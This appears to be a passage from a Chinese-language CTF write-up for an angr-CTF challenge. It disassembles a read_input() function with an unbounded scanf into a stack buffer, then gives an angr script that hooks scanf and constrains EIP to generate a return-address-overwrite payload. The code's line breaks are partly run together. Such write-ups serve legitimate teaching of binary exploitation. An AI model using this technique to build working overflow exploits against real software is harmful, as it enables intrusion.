.text:4D525869
.text:4D525869 input_buffer = byte ptr -2Bh ; input_buffer 大小为0x2B
.text:4D525869
.text:4D525869 ; __unwind {
.text:4D525869 push ebp
.text:4D52586A mov ebp, esp
.text:4D52586C sub esp, 38h ; 栈空间在这里分配
.text:4D52586F sub esp, 8
.text:4D525872 lea eax, [ebp+input_buffer]
.text:4D525875 push eax
.text:4D525876 push offset format ; "%s"
.text:4D52587B call ___isoc99_scanf ; 注意scanf() 的输入长度是没有限制的
.text:4D525880 add esp, 10h
.text:4D525883 nop
.text:4D525884 leave
.text:4D525885 retn
看完read_input() 的代码之后,我们知道这是一个典型的栈溢出覆盖RET 地址的题目,最后要让RET 地址返回到这个位置
.text:4D525849 print_good proc near
.text:4D525849 ; __unwind {
.text:4D525849 push ebp
.text:4D52584A mov ebp, esp
.text:4D52584C sub esp, 8
.text:4D52584F sub esp, 0Ch
.text:4D525852 push offset s ; "Good Job."
.text:4D525857 call _puts
.text:4D52585C add esp, 10h
.text:4D52585F sub esp, 0Ch
.text:4D525862 push 0 ; status
.text:4D525864 call _exit
Angr-CTF 解题脚本已经不能在当前的Angr 版本中正常执行了,修改的方法是Hook scanf() 在input_buffer 中构造Vector 进行求解.
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS('input_buffer', 64 * 8) # 设置一个较大的input_bufferfor char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')self.state.memory.store(input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf()) # 对scanf() 做Hookwhile (simulation.active or simulation.unconstrained) and (not simulation.found): #
for unconstrained_state in simulation.unconstrained:
def should_move(s):
return s is unconstrained_statesimulation.move('unconstrained', 'found', filter_func=should_move) # 保存
simulation.step() # 步进执行
if simulation.found:
solution_state = simulation.found[0]solution_state.add_constraints(solution_state.regs.eip == 0x4D525849) # 判断EIP 地址是否可控
solution = solution_state.se.eval(solution_state.globals['solution'],cast_to = bytes) # 生成Payload
print(solution)